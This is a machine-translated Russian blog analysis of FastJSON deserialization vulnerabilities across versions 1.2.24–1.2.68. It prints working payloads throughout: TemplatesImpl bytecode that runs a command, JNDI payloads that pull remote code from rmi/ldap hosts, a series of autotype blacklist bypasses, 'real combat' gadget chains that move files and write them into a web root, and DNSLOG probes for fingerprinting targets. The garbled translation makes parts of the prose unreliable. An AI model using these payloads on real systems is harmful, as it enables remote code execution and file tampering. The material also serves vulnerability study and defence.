Краткий анализ уязвимости десериализации FastJSON (1.2.24-1.2.68)
Краткий анализ уязвимости десериализации FastJSON (1.2.24-1.2.68)

Введение в FastJSON

FastJson — это библиотека Java, разработанная Alibaba. Она может конвертировать объекты Java в формат JSON и строки JSON в объекты.

https://github.com/alibaba/fastjson 👈Адрес проекта

«С 15 марта 2017 года,fastjsonЧиновник взял на себя инициативу раскрыть свое присутствие1.2.24и предыдущие версии содержат уязвимости безопасности удаленного выполнения кода с высоким риском.,Различные новые обходные позы появляются бесконечно. "——c014

Как использовать FASTJSON

Ответ: прямой импорт POM, удобная партия.

Язык кода:javascript
копировать
<dependencies>
    <dependency>
        <groupId>com.alibaba</groupId>
        <artifactId>fastjson</artifactId>
        <version>x.x.xx</version>
    </dependency>
</dependencies>

import com.alibaba.fastjson.JSON

fastjson имеет два распространенных способа обработки JSON.

  • JSON.toJSONString()метод:Объекты могут быть преобразованы вJSONнить
  • JSON.parseObject()метод:ВоляJSONнить转换成对象。

Давайте рассмотрим серию примеров: создайте объект, преобразуйте его в JSON, а затем преобразуйте обратно в объект. В то же время можно обнаружить, что при сериализации JSON будет вызываться метод getxxx класса, при десериализации JSON будет вызываться конструктор класса;

Язык кода:javascript
копировать
public class App 
{
    public static class User{
        private String id;
        User(){
            System.out.println("User go");
        }
        public void setId(String ids){
            System.out.println("setId go");
            this.id=ids;
        }
        public String getId(){
            System.out.println("GetId go");
            return this.id;
        }
    }

    public static void main(String[] args){
        User a = new User();
        String json = JSON.toJSONString(a);
        System.out.println(json);
        System.out.println(JSON.parseObject(json,User.class));
    }
}
Язык кода:javascript
копировать
User go
GetId go
{}
User go
org.example.App$User@36d4b5c

Происхождение уязвимости десериализации FASTJSON

Мы видим, что оператором десериализации JSON является JSON.parseObject(json,User.class). При указании JSON вам также необходимо указать класс, к которому он принадлежит, что делает код очень раздутым, поэтому разработчики могут использовать @type (). autotype) символьное поле, чтобы сделать его менее раздутым. Как показано ниже, вы можете найти определенный тип в JSON, указав значение @type.

Язык кода:javascript
копировать
JSON.parseObject("{\"@type\":\"org.example.App$User\",\"id\":\"123\"}")

Хотя это очень удобно, при такой десериализации будут выполняться конструктор класса и методы get и set, связанные с атрибутами.

Язык кода:javascript
копировать
public class App 
{
    public static class User{
        private String id;
        User(){
            System.out.println("User go");
        }
        public void setId(String ids){
            System.out.println("setId go");
            this.id=ids;
        }
        public String getId(){
            System.out.println("GetId go");
            return this.id;
        }
    }

    public static void main(String[] args){
        System.out.println(JSON.parseObject("{\"@type\":\"org.example.App$User\",\"id\":\"123\"}"));
    }
}
Язык кода:javascript
копировать
User go
setId go
GetId go
{"id":"123"}

Таким образом, в этом интерфейсе десериализации JSON, если мы передадим вредоносный JSON, мы сможем вызвать конструктор любого класса, а также методы get и set, связанные с атрибутами. Если в связанном методе определенного типа (например, выполнении определенной команды) есть опасный код, мы можем создать вредоносный JSON для достижения эффекта RCE.

Кроме того, JSON.parseObject("{"@type":"org.example.App$User","id":"123"}",Feature.SupportNonPublicField) может напрямую присваивать значения частным членам (без добавления Feature.SupportNonPublicField Невозможно присвоить значения закрытым членам)

Повторение различных версий

1.2.24

TemplatesImpl

Да, это TemplatesImplcom.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl в цепочке 7U21.

Сам этот класс имеет уязвимость десериализации. Данные переменной-члена _bytecodes будут использоваться в качестве байт-кода класса для выполнения операции newInsantce для вызова его конструктора или статического блока. Поэтому fastjson можно использовать как возможность вызвать этот класс. Однако, поскольку _name и _bytecodes являются частными атрибутами, для его реализации интерфейс десериализации FASTJSON должен иметь параметр Feature.SupportNonPublicField. Условия использования очень строгие, но если условия позволяют, это очень удобно. Просто введите полезную нагрузку и все. будет сделано.

Поле _tfactory не имеет ни метода get, ни метода set в TemplatesImpl.,это не имеет значения,Мы устанавливаем для _tfactory значение { }, и fastjson вызовет свой конструктор без аргументов, чтобы получить объект _tfactory.,Это решает проблему, заключающуюся в том, что в некоторых версиях при использовании метода defineTransletClasses() будет ссылаться на атрибут _tfactory, что приведет к аварийному выходу.

Язык кода:javascript
копировать
payload
{
  "@type" : "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
  "_bytecodes" : ["yv66vgAAADQAPQoADQAcCQAdAB4IAB8KACAAIQcAIggAIwoAJAAlCgAkACYKACcAKAcAKQoACgAqBwArBwAsAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACkV4Y2VwdGlvbnMHAC0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIPGNsaW5pdD4BAA1TdGFja01hcFRhYmxlBwApAQAKU291cmNlRmlsZQEACUV2aWwuamF2YQwADgAPBwAuDAAvADABAAVQd25lZAcAMQwAMgAzAQAQamF2YS9sYW5nL1N0cmluZwEABGNhbGMHADQMADUANgwANwA4BwA5DAA6ADsBABNqYXZhL2xhbmcvRXhjZXB0aW9uDAA8AA8BABJ0ZXN0X2Zhc3Rqc29uL0V2aWwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAQamF2YS9sYW5nL1N5c3RlbQEAA2VycgEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAKChbTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABFqYXZhL2xhbmcvUHJvY2VzcwEAB3dhaXRGb3IBAAMoKUkBAA9wcmludFN0YWNrVHJhY2UAIQAMAA0AAAAAAAQAAQAOAA8AAQAQAAAAHQABAAEAAAAFKrcAAbEAAAABABEAAAAGAAEAAAAJAAEAEgATAAIAEAAAABkAAAADAAAAAbEAAAABABEAAAAGAAEAAAAXABQAAAAEAAEAFQABABIAFgACABAAAAAZAAAABAAAAAGxAAAAAQARAAAABgABAAAAHAAUAAAABAABABUACAAXAA8AAQAQAAAAawAEAAEAAAAmsgACEgO2AAQEvQAFWQMSBlNLuAAHKrYACLYACVenAAhLKrYAC7EAAQAIAB0AIAAKAAIAEQAAAB4ABwAAAAsACAANABIADgAdABEAIAAPACEAEAAlABIAGAAAAAcAAmAHABkEAAEAGgAAAAIAGw"],
  "_name" : "a",
  "_tfactory" : {},
  "outputProperties" : {}
}

Класс _bytecodes выглядит следующим образом: скомпилируйте и сгенерируйте Evil.class, прочитайте байт-код и зашифруйте его с помощью base64 как _bytecodes.

Язык кода:javascript
копировать
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class Evil extends AbstractTranslet{
static {
            System.err.println("Pwned");
            try {
                String[] cmd = {"calc"};
                java.lang.Runtime.getRuntime().exec(cmd).waitFor();
            } catch ( Exception e ) {
                e.printStackTrace();
            }
         }

         @Override
         public void transform(DOM arg0, SerializationHandler[] arg1) throws TransletException {
                  // anything
         }

         @Override
         public void transform(DOM arg0, DTMAxisIterator arg1, SerializationHandler arg2) throws TransletException {
                  // anything
         }
}

JdbcRowSetImpl

com.sun.rowset.JdbcRowSetImpl,RCE реализуется посредством внедрения JNDI. Однако следует отметить, что внедрение JNDI имеет ограничения по версии JDK, и более высокие версии необходимо обходить.

Наша полезная нагрузка обычно выглядит так

Язык кода:javascript
копировать
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi:/ip:port/Exploit","autoCommit":true}
or
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://ip:1099/exp","autoCommit":true}

После попадания этой полезной нагрузки будет выполнен setAutoCommit(), а setAutoCommit() выполнит функцию connct(), как показано ниже. Connect() выполнит InitialContext.lookup(dataSourceName) для свойства dataSourceName для внедрения JNDI.

Язык кода:javascript
копировать
private Connection connect() throws SQLException {
        if(this.conn != null) {
            return this.conn;
        } else if(this.getDataSourceName() != null) {
            try {
                InitialContext var1 = new InitialContext();
                DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
                return this.getUsername() != null && !this.getUsername().equals("")?var2.getConnection(this.getUsername(), this.getPassword()):var2.getConnection();
            } catch (NamingException var3) {
                throw new SQLException(this.resBundle.handleGetObject("jdbcrowsetimpl.connect").toString());
            }
        } else {
            return this.getUrl() != null?DriverManager.getConnection(this.getUrl(), this.getUsername(), this.getPassword()):null;
        }
    }

1.2.25

Механизм обновления

Версии 1.2.24 и более ранние — это как чистые листы бумаги. Начиная с 1.2.25 был добавлен механизм черного и белого списка.

Если мы продолжим использовать полезную нагрузку 1.2.24 (здесь используется полезная нагрузка TemplatesImpl), мы обнаружим, что автотип ошибок не поддерживается.

Причина в том, что метод CheckAutoType был добавлен в com.alibaba.fastjson.parser.ParserConfig.

Язык кода:javascript
копировать
com.alibaba.fastjson.parser.ParserConfig !public Class<?> checkAutoType(String typeName, Class<?> expectClass)

В нем есть атрибут autotypesupport. Если он имеет значение false, он проверит, начинается ли значение @type в json со значением в черном списке. Если оно одинаковое, он напрямую вернет исключение, а затем загрузит класс. белый список.

Язык кода:javascript
копировать
if (!autoTypeSupport) {
			\\Обнаружение черного списка, имя класса — полное имя входящего класса, DenyList — черный список.
            for (int i = 0; i < denyList.length; ++i) {
                String deny = denyList[i];
                if (className.startsWith(deny)) {
                    throw new JSONException("autoType is not support. " + typeName);
                }
            }
            for (int i = 0; i < acceptList.length; ++i) {
                String accept = acceptList[i];
                if (className.startsWith(accept)) {
                    clazz = TypeUtils.loadClass(typeName, defaultClassLoader);

                    if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
                        throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
                    }
                    return clazz;
                }
            }
        }

Черный список выглядит так

Если поддержка автотипирования включена, сначала будет загружен белый список, а затем будет обнаружен черный список.

Язык кода:javascript
копировать
if (autoTypeSupport || expectClass != null) {
    for (int i = 0; i < acceptList.length; ++i) {
        String accept = acceptList[i];
        if (className.startsWith(accept)) {
            return TypeUtils.loadClass(typeName, defaultClassLoader);
        }
    }

    for (int i = 0; i < denyList.length; ++i) {
        String deny = denyList[i];
        if (className.startsWith(deny)) {
            throw new JSONException("autoType is not support. " + typeName);
        }
    }
}

Многие последующие обновления исправят уязвимости, вызванные checkAutotype и некоторые его собственные логические недочеты, а также постоянное увеличение черного списка.

байпас 1 (Л; метод) 1.2.25-1.2.41

Если autoTypeSupport включен или ожидаемый класс не пуст, будет вызван метод класса загрузки.

Язык кода:javascript
копировать
if (this.autoTypeSupport || expectClass != null) {
    clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader);
}

Среди них, если имя класса начинается с L и заканчивается на L, эти два символа будут удалены и класс будет загружен.

«Что касается того, почему такая странная обработка, пара символов L и ; на самом деле используется для представления имен классов в байт-коде JVM:»

Язык кода:javascript
копировать
if (className.startsWith("L") && className.endsWith(";")) {
    String newClassName = className.substring(1, className.length() - 1);
    return loadClass(newClassName, classLoader);
}

Поэтому, когда поддержка автотипирования включена, мы можем создать следующую полезную нагрузку для обхода

Язык кода:javascript
копировать
{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"rmi://ip:1099","autoCommit":true}

Как включить поддержку автотипа? Просто добавьте следующий код перед анализом json

Язык кода:javascript
копировать
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

обход 2 (встроенный json) 1.2.25-1.2.47

Версия 1.2.25-1.2.32: его можно успешно использовать, когда AutoTypeSupport не включен, но нельзя успешно запустить, когда AutoTypeSupport включен;

Версии 1.2.33-1.2.47: Можно успешно использовать независимо от того, включена ли AutoTypeSupport или нет;

Язык кода:javascript
копировать
{
    "a":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"ldap://localhost:1389/Exploit",
        "autoCommit":true
    }
}

1.2.42

Механизм обновления

В версии 42 разработчики изменили черный список в виде обычного текста на черный список по хешу.,Было много столкновений,Особого смысла нет, проверка производилась при обходе 25 чёрного списка.,Если имя класса заканчивается наLначало,;окончание,Он будет обработан с помощью заглушки (это решение оценивается HASH,не могу читать,Но я был в шоке):

Язык кода:javascript
копировать
if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(className.length() - 1)) * 1099511628211L == 655701488918567152L) {
    className = className.substring(1, className.length() - 1);
}

обход (двойной обход записи)

Тогда просто пиши обеими руками, чтобы обойти это.

Язык кода:javascript
копировать
{
    "@type":"LLcom.sun.rowset.JdbcRowSetImpl;;",
    "dataSourceName":"ldap://127.0.0.1:2357/Command8",
    "autoCommit":true
}

1.2.42

Механизм обновления

Выносится дополнительное решение об обходе двойной записи.

Язык кода:javascript
копировать
if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(className.length() - 1)) * 1099511628211L == 655701488918567152L) {
                if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(1)) * 1099511628211L == 655656408941810501L) {
                    throw new JSONException("autoType is not support. " + typeName);
                }

                className = className.substring(1, className.length() - 1);
            }

Bypass

В TypeUtils.loadClass, помимо оценки L;, есть еще оценка [

Язык кода:javascript
копировать
} else if (className.charAt(0) == '[') {
    Class<?> componentType = loadClass(className.substring(1), classLoader);
    return Array.newInstance(componentType, 0).getClass();
} 

Ориентируясь на это, создается следующая полезная нагрузка. Конкретная причина, по которой она построена таким образом, не уточняется. В любом случае, это связано с [.

Язык кода:javascript
копировать
{
  "@type" : "[com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"[,{
  "_bytecodes" : ["yv66vgAAADQAPQoADQAcCQAdAB4IAB8KACAAIQcAIggAIwoAJAAlCgAkACYKACcAKAcAKQoACgAqBwArBwAsAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACkV4Y2VwdGlvbnMHAC0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIPGNsaW5pdD4BAA1TdGFja01hcFRhYmxlBwApAQAKU291cmNlRmlsZQEACUV2aWwuamF2YQwADgAPBwAuDAAvADABAAVQd25lZAcAMQwAMgAzAQAQamF2YS9sYW5nL1N0cmluZwEABGNhbGMHADQMADUANgwANwA4BwA5DAA6ADsBABNqYXZhL2xhbmcvRXhjZXB0aW9uDAA8AA8BABJ0ZXN0X2Zhc3Rqc29uL0V2aWwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAQamF2YS9sYW5nL1N5c3RlbQEAA2VycgEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAKChbTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABFqYXZhL2xhbmcvUHJvY2VzcwEAB3dhaXRGb3IBAAMoKUkBAA9wcmludFN0YWNrVHJhY2UAIQAMAA0AAAAAAAQAAQAOAA8AAQAQAAAAHQABAAEAAAAFKrcAAbEAAAABABEAAAAGAAEAAAAJAAEAEgATAAIAEAAAABkAAAADAAAAAbEAAAABABEAAAAGAAEAAAAXABQAAAAEAAEAFQABABIAFgACABAAAAAZAAAABAAAAAGxAAAAAQARAAAABgABAAAAHAAUAAAABAABABUACAAXAA8AAQAQAAAAawAEAAEAAAAmsgACEgO2AAQEvQAFWQMSBlNLuAAHKrYACLYACVenAAhLKrYAC7EAAQAIAB0AIAAKAAIAEQAAAB4ABwAAAAsACAANABIADgAdABEAIAAPACEAEAAlABIAGAAAAAcAAmAHABkEAAEAGgAAAAIAGw"],
  "_name" : "a",
  "_tfactory" : {},
  "outputProperties" : {}
}

1.2.44

Механизм обновления

В версии 44 реализован обход версии 43. Начиная с [ или с L и заканчивая исключением, будет выброшено исключение.

Bypass

Встроенная идеальная разбивка JSON

1.2.47-67

Механизм обновления

Исправлен встроенный обход JSON с версии 47.,В этих версиях нет хорошего метода обхода.,Большинство онлайн-методов заключаются в использовании JNDI-инъекции из черного списка для поиска рыбы, проскользнувшей в сеть (большинство найденных являются классами компонентов).,Этот компонент должен присутствовать на целевой машине для запуска.https://paper.seebug.org/1155/)а такжеожидаемый класс обходит автотип

1.2.68

После версии 68 появилась новая точка управления безопасностью SafeMode. Если она включена, исключение будет генерироваться непосредственно при проверке AtuoType. Пока установлен тип @type, исключение будет генерироваться, когда вы захотите десериализовать указанный класс. объект, то есть старт. Сайты с сейфмодом смотреть не надо. Конечно эта версия ожидаемый класс обходит автотип можно воспроизводить десятки раз.

Bypass ожидаемый класс обходит автотип <=1.2.68

Вот демо, чтобы показать это.

Язык кода:javascript
копировать
package org.example;

import java.io.IOException;

public class VulAutoCloseable implements AutoCloseable {
    public VulAutoCloseable(){
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }


    @Override
    public void close() throws Exception {

    }
}

Тогда наша полезная нагрузка

Язык кода:javascript
копировать
public class evil {
        public static void main(String[] args){
            System.out.println(JSON.parseObject("{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"org.example.VulAutoCloseable\",\"cmd\":\"calc\"}\n"));
        }
    }

Калькулятор после выполнения

Давайте посмотрим, что происходит через отлаживать

отлаживать

Установите точку останова на checkautotype.

Можно обнаружить, что переданное имя типа является AutoCloseable. Ожидаемый класс в это время равен NULL.

Спускаясь вниз, этот класс можно получить непосредственно из кэша Mapping,

Затем он был возвращен напрямую, даже не проходя проверку autoTypeSupport.

clazz возвращается в defaultjsonparser. Просматривая логику, вы можете обнаружить, что для clazz выполняется метод десериализации и последующие действия.

Буду следить за тобой здесь

Если посмотреть вниз, будет запущен второй раунд checkAutoType, поскольку Autocloseable не может успешно сгенерировать объект десериализатора с помощью метода getSeeAlso.

Параметры, передаваемые в checkAutoType во втором раунде, — это второе значение @type, первое значение @type и неважный lexer.getFeatures().

После ввода checkAutoType класс исключения сначала будет внесен в белый список. Класс Autocloseable, естественно, будет передан случайно, а затем для флага исключенияClassFlag будет установлено значение true.

Затем выполняется проверка черного и белого списка для имени типа. Поскольку имя типа — org.example.VulAutoCloseable и его нет в черном и белом списках, проверка, естественно, проходит. Ниже приводится последовательность проверки по порядку

Проверка черного списка

Сначала белый, а затем черный, все результаты Array.binarySearch равны 0, естественно, можно передать условие IF

сначала черный, потом белый

Проходя множество вступительных экзаменов в аспирантуру, класс, указанный по имени типа, передается в TypeUtils.loadClass, после чего

Придет сюда, возвращается объект класса VulAutoCloseable.

Затем этот объект класса будет проверен на предмет того, является ли он подклассом ClassLoader, DataSource, RowSet и т. д. Если это так, будет напрямую выброшено исключение. Это также механизм фильтрации большинства внедренных JNDI гаджетов.

Затем определите, является ли clazz подклассом ExceptClass, и если да, верните объект класса напрямую. После того, как объект класса будет возвращен, он вступит в следующий процесс десериализации, и его метод построения будет вызван для завершения использования.

Практичный гаджет

Полезная нагрузка, используемая в реальном бою:

Перемещение файла: переместите содержимое одного файла в новый файл, и содержимое исходного файла исчезнет.

Язык кода:javascript
копировать
<dependency>    <groupId>org.aspectj</groupId>    <artifactId>aspectjtools</artifactId>    <version>1.9.5</version></dependency>
Язык кода:javascript
копировать
{"@type":"java.lang.AutoCloseable", "@type":"org.eclipse.core.internal.localstore.SafeFileOutputStream", "tempPath":"D:/b.txt", "targetPath":"E:/b.txt"}

Написание файла

Язык кода:javascript
копировать
<dependency>
  <groupId>com.sleepycat</groupId>
  <artifactId>je</artifactId>
  <version>5.0.73</version>
</dependency>

<dependency>
  <groupId>com.esotericsoftware</groupId>
  <artifactId>kryo</artifactId>
  <version>4.0.0</version>
</dependency>

<dependency>
  <groupId>org.aspectj</groupId>
  <artifactId>aspectjtools</artifactId>
  <version>1.9.5</version>
</dependency>
Язык кода:javascript
копировать
{
    "stream": {
        "@type": "java.lang.AutoCloseable",
        "@type": "org.eclipse.core.internal.localstore.SafeFileOutputStream",
        "targetPath": "D:/wamp64/www/hacked.txt", \\Создать пустой файл
        "tempPath": "D:/wamp64/www/test.txt"\\Создайте файл с содержимым
    },
    "writer": {
        "@type": "java.lang.AutoCloseable",
        "@type": "com.esotericsoftware.kryo.io.Output",
        "buffer": "cHduZWQ=", Содержимое файла после \\base64
        "outputStream": {
            "$ref": "$.stream"
        },
        "position": 5
    },
    "close": {
        "@type": "java.lang.AutoCloseable",
        "@type": "com.sleepycat.bind.serial.SerialOutput",
        "out": {
            "$ref": "$.writer"
        }
    }
}

Обнаружение уязвимостей

DNSLOG

Язык кода:javascript
копировать
{"@type":"java.net.InetAddress","val":"dnslog.cn"} Его можно активировать только ниже 49, потому что этот гаджет запрещен в 49 и может использоваться для обнаружения определенных версий.
{"@type":"java.net.Inet4Address","val":"dnslog"}
{"@type":"java.net.Inet6Address","val":"dnslog"}
{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}
{"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"dnslog"}}""}
{{"@type":"java.net.URL","val":"dnslog"}:"aaa"}
Set[{"@type":"java.net.URL","val":"dnslog"}]
Set[{"@type":"java.net.URL","val":"dnslog"}
{{"@type":"java.net.URL","val":"dnslog"}:0

Обнаружение ошибок

Если вам повезет, вы сможете опубликовать номер версии напрямую.

Язык кода:javascript
копировать
{"xxx":"aaa"
Base64 декодирование eyJhIjoiXHgaGiJ9 Его можно запустить только тогда, когда его значение ниже 60. Когда серверная часть Fastjson версия меньше чем 1.2.60 час,При использовании этого пакета запроса не будет никаких задержек или ошибок.,В противном случае оно будет задержано или будет сообщено об ошибке.

предположение

Когда некоторые разработчики пишут код, связанный с анализом JSON, они могут установить возможность передачи только определенных объектов. Объект, который мы передаем при установке @type, может не соответствовать указанному объекту, что приводит к исключению типа несоответствия.

Решение заключается в следующем: самый внешний вложенный объект

Язык кода:javascript
копировать
{
"xxx": {"@type":"java.net.InetAddress","val":"dnslog"}
}

ссылка

https://c014.cn/pdfs/java/Fastjson/Fastjson%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E.html

https://www.freebuf.com/vuls/228099.html

https://aluvion.gitee.io/2020/08/23/Fastjson%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%9C%BA%E5%88%B6%E5%92%8Cautotype%E8%A7%82%E6%B5%8B/#1-2-25-lt-Fastjson-lt-1-2-41-checkAutoType-%E9%BB%91%E5%90%8D%E5%8D%95%E7%BB%95%E8%BF%87

https://paper.seebug.org/1192/#1225

https://www.mi1k7ea.com/2019/11/11/Fastjson%E7%B3%BB%E5%88%97%E5%9B%9B%E2%80%94%E2%80%941-2-25-1-2-47%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%EF%BC%88%E6%97%A0%E9%9C%80%E5%BC%80%E5%90%AFAutoType%EF%BC%89/#%E4%B8%8D%E5%8F%97AutoTypeSupport%E5%BD%B1%E5%93%8D%E7%9A%84%E7%89%88%E6%9C%AC

https://www.mi1k7ea.com/2021/02/08/Fastjson%E7%B3%BB%E5%88%97%E5%85%AD%E2%80%94%E2%80%941-2-48-1-2-68%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/#0x04-1-2-68%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%EF%BC%88expectClass%E7%BB%95%E8%BF%87AutoType%EF%BC%89

boy illustration
Неразрушающее увеличение изображений одним щелчком мыши, чтобы сделать их более четкими артефактами искусственного интеллекта, включая руководства по установке и использованию.
boy illustration
Копикодер: этот инструмент отлично работает с Cursor, Bolt и V0! Предоставьте более качественные подсказки для разработки интерфейса (создание навигационного веб-сайта с использованием искусственного интеллекта).
boy illustration
Новый бесплатный RooCline превосходит Cline v3.1? ! Быстрее, умнее и лучше вилка Cline! (Независимое программирование AI, порог 0)
boy illustration
Разработав более 10 проектов с помощью Cursor, я собрал 10 примеров и 60 подсказок.
boy illustration
Я потратил 72 часа на изучение курсорных агентов, и вот неоспоримые факты, которыми я должен поделиться!
boy illustration
Идеальная интеграция Cursor и DeepSeek API
boy illustration
DeepSeek V3 снижает затраты на обучение больших моделей
boy illustration
Артефакт, увеличивающий количество очков: на основе улучшения характеристик препятствия малым целям Yolov8 (SEAM, MultiSEAM).
boy illustration
DeepSeek V3 раскручивался уже три дня. Сегодня я попробовал самопровозглашенную модель «ChatGPT».
boy illustration
Open Devin — инженер-программист искусственного интеллекта с открытым исходным кодом, который меньше программирует и больше создает.
boy illustration
Эксклюзивное оригинальное улучшение YOLOv8: собственная разработка SPPF | SPPF сочетается с воспринимаемой большой сверткой ядра UniRepLK, а свертка с большим ядром + без расширения улучшает восприимчивое поле
boy illustration
Популярное и подробное объяснение DeepSeek-V3: от его появления до преимуществ и сравнения с GPT-4o.
boy illustration
9 основных словесных инструкций по доработке академических работ с помощью ChatGPT, эффективных и практичных, которые стоит собрать
boy illustration
Вызовите deepseek в vscode для реализации программирования с помощью искусственного интеллекта.
boy illustration
Познакомьтесь с принципами сверточных нейронных сетей (CNN) в одной статье (суперподробно)
boy illustration
50,3 тыс. звезд! Immich: автономное решение для резервного копирования фотографий и видео, которое экономит деньги и избавляет от беспокойства.
boy illustration
Cloud Native|Практика: установка Dashbaord для K8s, графика неплохая
boy illustration
Краткий обзор статьи — использование синтетических данных при обучении больших моделей и оптимизации производительности
boy illustration
MiniPerplx: новая поисковая система искусственного интеллекта с открытым исходным кодом, спонсируемая xAI и Vercel.
boy illustration
Конструкция сервиса Synology Drive сочетает проникновение в интрасеть и синхронизацию папок заметок Obsidian в облаке.
boy illustration
Центр конфигурации————Накос
boy illustration
Начинаем с нуля при разработке в облаке Copilot: начать разработку с минимальным использованием кода стало проще
boy illustration
[Серия Docker] Docker создает мультиплатформенные образы: практика архитектуры Arm64
boy illustration
Обновление новых возможностей coze | Я использовал coze для создания апплета помощника по исправлению домашних заданий по математике
boy illustration
Советы по развертыванию Nginx: практическое создание статических веб-сайтов на облачных серверах
boy illustration
Feiniu fnos использует Docker для развертывания личного блокнота Notepad
boy illustration
Сверточная нейронная сеть VGG реализует классификацию изображений Cifar10 — практический опыт Pytorch
boy illustration
Начало работы с EdgeonePages — новым недорогим решением для хостинга веб-сайтов
boy illustration
[Зона легкого облачного игрового сервера] Управление игровыми архивами
boy illustration
Развертывание SpringCloud-проекта на базе Docker и Docker-Compose